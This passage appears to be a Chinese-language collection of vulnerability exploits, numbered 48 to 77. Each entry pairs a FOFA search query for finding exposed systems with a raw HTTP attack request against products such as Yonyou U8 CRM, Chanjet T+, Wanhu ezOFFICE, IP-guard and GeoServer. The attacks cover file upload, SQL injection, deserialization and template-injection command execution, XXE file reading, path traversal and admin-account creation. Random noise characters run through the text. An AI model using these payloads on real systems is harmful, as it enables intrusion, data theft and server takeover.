If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
" }- ~. b6 e! eConnection: close

9 {+ V" G" i( M6 n! q

4 [7 X4 J+ B# z9 B+ y1 _. O( ^48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
" ^# b% D0 t# d, j% W$ YPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
* `- x3 @9 k: A! E/ D. w. Q! {3 FHost: your-ip
+ U2 S5 J+ b! x+ PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: j. P' N" H' J: {Accept-Encoding: gzip, deflate
: l& G# V% a3 r; L# o% [Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
! R/ k' d/ [# D. x+ pContent-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
3 A$ R4 m, b6 D5 ?( W3 H% Z------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
; W# t' Y  v! B6 f5 J) D  dupload
% x- J" O' X: ^' C" u: B2 L- A------269520967239406871642430066855--
! J5 |8 K7 ?! i, V9 a

49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
- u: e* j( i1 m4 S3 @
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
* s0 x# o" y5 p' rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

6 S7 ~% ^& R/ O. F2 u-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

upload
, a/ d7 C3 `. [0 f-----------------------------vvv3wdayqv3yppdxvn3w--
1 i$ z  k+ s8 H4 y1 @7 X

http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
: Z! N* i$ f$ s8 w+ Z+ g+ E; M  N7 [FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
+ T5 ~. }6 j7 HConnection: close
Content-Length: 224
1 e7 o( V- j; g# ~. c" M/ mAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
; L" c; i& e' [% d' J; I# P* i: D/ cAccept-Encoding: gzip

  B# R: O6 k& Msearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
, v" r: X+ K* y5 P4 m# n9 e4 G

& x, @8 ]' }5 n% |$ I/ I0 n51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
) |1 E% {$ P- `7 |FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
+ O9 D8 K, O: x& V/ [5 B5 V$ B1 @Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
& d8 @/ S0 [" n1 j7 L% d, FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ J( o8 j) z2 G9 UConnection: close


52. 泛微E-Office json_common.php sql注入
. Q! z# J  F0 MFOFA：app="泛微-EOffice"
* A2 x* a2 w, n6 K* t5 c' ]. EPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ ^- \' P: E5 S, ]Connection: close
7 ^) Y. _! Z9 E% kContent-Length: 87
/ a. I' ^$ s  I0 b2 N8 n, eAccept: */*
4 P- e  e; q" s1 MAccept-Language: en
$ @. D0 B7 o( K$ i% I6 DContent-Type: application/x-www-form-urlencoded
# r+ I; L" b; k$ Z5 TAccept-Encoding: gzip
$ q& `; Q3 X: i2 I6 T; v1 N* D
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
" q3 z  E3 R) x+ a

53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
- M& }2 F! j, G+ L/ `

: ~7 a! i) [" i  j3 z9 e# h54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
5 h3 F, K% y2 f  B: ?; {" Y4 [1 X第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
6 `5 F' t1 a# w. o" m
. @% o! d& v# A( z1 h  Q
3 U1 Q; C1 m" f' X" u完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
  K* ?  ^8 T( v9 t% G9 P  Y* WHost: x.x.x.x
6 U9 `9 u$ l/ B8 l4 X4 s) W, _+ X( ?2 RUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
5 L: G0 V5 d: q2 PContent-Length: 593

8 s# q& T& \" \; Z* J{
"storeID":{
! S& L( w8 }! r1 y "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
8 }9 Q; T% A% v' ]' G "MethodName":"Start",
3 i' _; H% r1 W! n1 l* d  "ObjectInstance":{
* {' E2 y8 r: H   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
" G8 B! I4 G3 i2 U" i8 f    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
: l; @4 T( r. B  }
  }
}

/ v$ g" S6 j- d$ \/ |- q( |# B
第二步，访问如下url
* O1 c+ g7 y5 ?' y/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
  X( Y( G4 m  M; ~. ]" a第一步，通过
) _/ j  D+ |: J' `4 f/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
+ A! }2 X0 z' ?第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

/ J/ N# v& a/ y/ B6 _56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
! \, D0 z- r1 x2 Z! s9 T1 J9 QHost: x.x.x.x
) [% D6 S0 [8 y) E/ gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
! Y: n% Y/ b* m# L* A' C: iContent-Type: application/json

{
7 @8 |2 J# |% l9 C2 r  "storeID":{
; v& S6 p; U9 B/ b- L    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
9 D2 A- J5 W' e2 o2 i4 d   "MethodName":"Start",
  F8 M& G2 N  `    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
  }
}


57. 畅捷通T+ keyEdit.aspx SQL注入
, w$ p. D8 C4 s: V$ G% K$ g7 BFOFA：app="畅捷通-TPlus"
+ V3 w' v- o& ]1 EGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
; o2 ^2 W: S$ }  oHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
( l( g, ?+ r- w# S% v2 D: T  NAccept-Charset: utf-8
1 s+ m# M( ^# G5 Z1 n2 {' ~% X5 MAccept-Encoding: gzip, deflate
/ }& {# X, P6 ^5 P1 ]; {Connection: close
% w) ~& W, L& [! f% `

! c; t# v6 c- R; ?& n0 O2 \8 s9 N58. 畅捷通T+ KeyInfoList.aspx sql注入
2 |, L  B+ X# K& O5 N2 P  M$ VFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
/ T2 I; Q, k. Z" z9 V( H; J: @User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
1 ~  d" S! c8 ~9 [* C

( N0 P! l  L8 A2 ]. D9 Y  `- c59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
# C4 w9 [* {9 r$ E( n) {5 ~POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
) O+ v; u* @$ jHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
; P2 ?3 n! i4 I3 w. ]# ]9 OConnection: close
. j9 C; [" J  I" ~+ z0 ZContent-Length: 1669
; N, e# d7 M1 L& ]& m/ }Accept: */*
Accept-Language: en
* g; r  ^* j& [% PContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

PAYLOAD
6 t( N$ ^( o* ]$ b

60. 百卓Smart管理平台 importexport.php SQL注入
) t2 V; o- o2 J# G' {+ N6 Y$ `4 L5 xFOFA：title="Smart管理平台"
" m, m+ r  G3 K! q! s6 e5 YGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
! V1 M. M$ a  [7 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
: r' a# \3 L: ]" R# ?) FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 t2 f, {$ M% |+ T! q& {0 ]Accept-Encoding: gzip, deflate
8 J" v8 p+ `( n$ [0 w. \, x( d2 u( AAccept-Language: zh-CN,zh;q=0.9
! F  {) D) E) [9 i0 `Connection: close


61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
2 [7 x6 S+ t; c- ?( c7 t6 K; ZFOFA: title="欢迎使用浙大恩特客户资源管理系统"
* b6 S' D1 O' u9 M# EPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; q7 X6 _* D0 g4 m; lConnection: close
Content-Length: 27
Accept: */*
. N7 I/ v( Z3 Q( v8 LAccept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
! n( x$ x9 `' n! n! f
8uxssX66eqrqtKObcVa0kid98xa


% X; @7 g% F0 l7 v$ K$ V62. IP-guard WebServer 远程命令执行
" k( R7 z5 [7 o" r1 E7 E; qFOFA："IP-guard" && icon_hash="2030860561"
( x8 N! b1 D2 ]' G3 h' iGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
) G+ E( U; T, w  Y3 ]# A: [Connection: close
) v; q  A/ `5 A) BAccept: */*
! ~2 j8 d* @0 FAccept-Language: en
Accept-Encoding: gzip
/ r! z; P7 `& u2 T" f

访问
1 H6 F- o9 a) e; I( i
) w; O- X" M4 }8 ]* EGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
: Z$ ?( ~+ b! I# t
( n5 g+ _4 H. E6 D* V
63. IP-guard WebServer任意文件读取
0 c. D" V) _/ Z1 e  Z# }IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& \5 w3 i0 Q1 C6 H; Q. zAccept-Encoding: gzip, deflate
/ j. K1 t# C6 H" x) VAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

" Y5 Z! g; p3 i0 epath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
! U9 q. U; Q/ Z; }8 v5 d- T
) V" B6 g  |/ Y6 w+ j! ~' _64. 捷诚管理信息系统CWSFinanceCommon SQL注入
( y1 f6 a0 p( R% W8 ~' fFOFA：body="/Scripts/EnjoyMsg.js"
$ \! t% U, z; }+ iPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
# q/ c2 ~: ~5 Z7 ^Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
6 M) y% X0 U, ?3 U9 e  ~% D+ c' ]Accept-Language: en
Content-Type: text/xml; charset=utf-8
' C' j4 J2 L1 ~/ U. kAccept-Encoding: gzip
5 v3 w$ I+ R. Y8 z) E/ O, G( Q
$ h7 A' d* n: X2 _! J" q. I<?xml version="1.0" encoding="utf-8"?>
( W. p  a2 p, Q# h<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
% W% n- R. m- f( m; n<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
* H* y* Z4 U. C  I* A, c7 H  </soap:Body>
</soap:Envelope>
2 Z- Y" D- l$ f4 ^% K( O
% w9 v- P% G6 i0 S* f2 \" e
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
+ q4 i5 a  w7 y/ JFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
0 h0 X4 J+ p+ ?1 w响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
) W. K( T: f; sAccept: */*
$ ?! N' z0 y7 V$ TConnection: close
" E* c! E- W$ k$ x; D' }Accept-Language: en
8 Z; A7 E7 p* J% ~, NContent-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
* J& x/ Q6 d& J  g! q7 Y! q3 k! i9 U
) S: e$ e) G3 F3 A+ V
! b! v  X  ~& [% m3 X* `; \66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
& m: i0 Y! z: T/ r
, W7 w5 @2 N; _+ B, ?" HGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
+ _" R2 p2 {  eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
/ R% y3 s) c/ c6 m" d7 V- m; J2 ^Accept: */*
! ?$ g* h  B" m3 X9 sAccept-Language: en
Accept-Encoding: gzip


1 d9 ^- g$ t, Y6 {; ]- E, S第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
' |8 M& e" J2 v1 u: {8 u% @) ~User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
  f) ]9 p+ {* \; h) BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
4 b9 u" c0 g8 o+ [8 l2 N8 w  s# [Connection: close
5 ~' T; \, ], `+ i" _" \, I: UContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1

/ T. O% Y0 K. v/ u6 e--ufuadpxathqvxfqnuyuqaozvseiueerp
  T9 w* }: l( h7 ]( r# m# GContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

- T: S- f8 J  F( w8 D8 W# C- }8 `<% out.print("sasdfghjkj");%>
: J2 R# r( u/ _2 Z/ l' X--ufuadpxathqvxfqnuyuqaozvseiueerp--
# i  _" G  C. o7 g) n, m' S* `

文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
# s' s6 K7 K  H" P5 `. i! Z
68. 万户ezOFFICE wf_printnum.jsp SQL注入
7 W) N3 c# C- q( `# L( i# B8 PFOFA：app="万户ezOFFICE协同管理平台"
  c7 k1 D$ A/ u% c! s2 f- P9 RGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
: x( `: ^1 l8 G2 V% BHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
" Q/ Z( j4 [/ g' AAccept-Encoding: gzip, deflate
. J! b' ?0 T6 lAccept-Language: zh-CN,zh;q=0.9
9 H2 p4 ]) z  AConnection: close
% l! G2 J+ ?+ s- ]" k1 c
& Q+ V  |4 x4 W& |: y) u  r7 X
69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
/ z6 D5 w+ V) {- Y2 wHost: your-ip
, Y- \( N4 L9 C2 j' p  g( {% ?! ?. DUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
& E* D* E" i  V6 A# ]Accept: */*
- Y9 q2 H* c, j) xConnection: keep-alive
3 g7 L9 X- Q( [3 C" H$ j- a+ s
" z- M0 ?& l1 R8 n! ~
5 D2 v; g2 s" D70. 万户ezEIP success 命令执行
* I4 T5 @, s. g9 W0 i* n8 E, C: i* yFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
: ]2 w$ ~. t) b& B. t( ?SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
0 n: E- b  u* Z* m  t# ^TYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD
* X* j. I& t1 X, U0 B

" {$ u. W3 H4 m& G71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
: e8 w* B0 S3 u! R6 ~7 _; jConnection: close
5 r; I' \4 I0 [2 p  |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ J% I2 K, E' G- kAccept-Encoding: gzip, deflate
8 ^+ n2 ~  x! a& D1 [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! y! V- I1 n4 U/ i6 t" O, h4 @Upgrade-Insecure-Requests: 1
3 m9 v7 t- ^' Q9 b$ m
+ K+ J) N" ]9 `3 r  k' t2 @
72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
9 Z2 f9 y3 |0 D! ~6 s. rPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
6 g0 x0 R0 o4 Y' j7 F$ |4 ]Host: 192.168.40.131:8099
- ]* Z7 ^, P3 {& CUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
8 d  W2 L; c4 N7 y% ?Accept-Encoding: gzip
* q4 h% v- K* [5 f7 J
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
# v4 {  P/ H/ [% o0 C! ?

73. GeoServer wms远程代码执行
: E/ J0 ]5 O; a8 k# R* mFOFA：icon_hash=”97540678”
$ n. T& ?, v5 P2 {4 b0 `POST /geoserver/wms HTTP/1.1
: \8 m4 O0 }4 s5 B/ [0 v: J1 k( U; b; }, hHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
" i- U4 X! C/ C/ Q* Q& y' C/ N/ FContent-Length: 1981
Accept-Encoding: gzip, deflate
) y, H( M2 d4 l( O) @2 F' SConnection: close
Content-Type: application/xml
# `! O, l3 C' L8 y7 S4 FSL-CE-SUID: 3
) H/ U; ?+ M6 ]
PAYLOAD


74. 致远M3-server 6_1sp1 反序列化RCE
6 d; d/ W) y2 c. y# ~FOFA：title="M3-Server"
PAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
/ l/ E0 c/ U/ `# Q5 o) pFOFA：app="TELESQUARE-TLR-2005KSH"
7 }; z  f& U' m, _GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
  ^; C4 ~9 J5 x1 m4 I; oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
. q" k- [1 S. C9 X

) v0 a7 K& Y' U, ]. YGET /cgi-bin/test28256.txt HTTP/1.1
0 x1 ?9 P( {; ~# K0 R5 [* WHost: x.x.x.x

2 J7 L8 w2 w; N/ g
5 C: M: z! ?+ s2 c76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
$ [' d. _6 {/ QHost: x.x.x.x
( u( n; E3 w5 m) SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
) d9 n/ J: n% ~4 ^6 LContent-Length: 211
# u" `) m3 ]! ~; z! r! bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 U) O4 G1 V+ R# n2 qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
8 g1 N& ^; \7 R* o" d
- U5 h% ]5 G8 Z" |{
"command": "GetFZinfo",
+ N4 @: ^$ t, z, i+ A2 J  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
6 @7 A. o8 W0 E# z% r  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
! J, l/ @, m6 P: }, C
9 g' U4 z# o6 D4 Q0 i
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
5 |" s+ l+ {7 J1 \. rHost: x.x.x.x


5 k, |1 X) f4 A9 _" a2 e5 z8 b8 [
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
8 R1 u% k/ N7 d$ c+ X3 hContent-Length: 433
" D* y- J. S1 }$ i. v9 @Accept: */*
6 {8 w4 n" u; d2 ~, i! C5 nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
: j2 l2 o" F5 }7 H) p' K
------------398jnjVTTlDVXHlE7yYnfwBoix
' K* d! X  _( i( c2 X; vContent-Disposition: form-data; name="folder"
3 f# O7 ]* C8 G: h0 F+ M
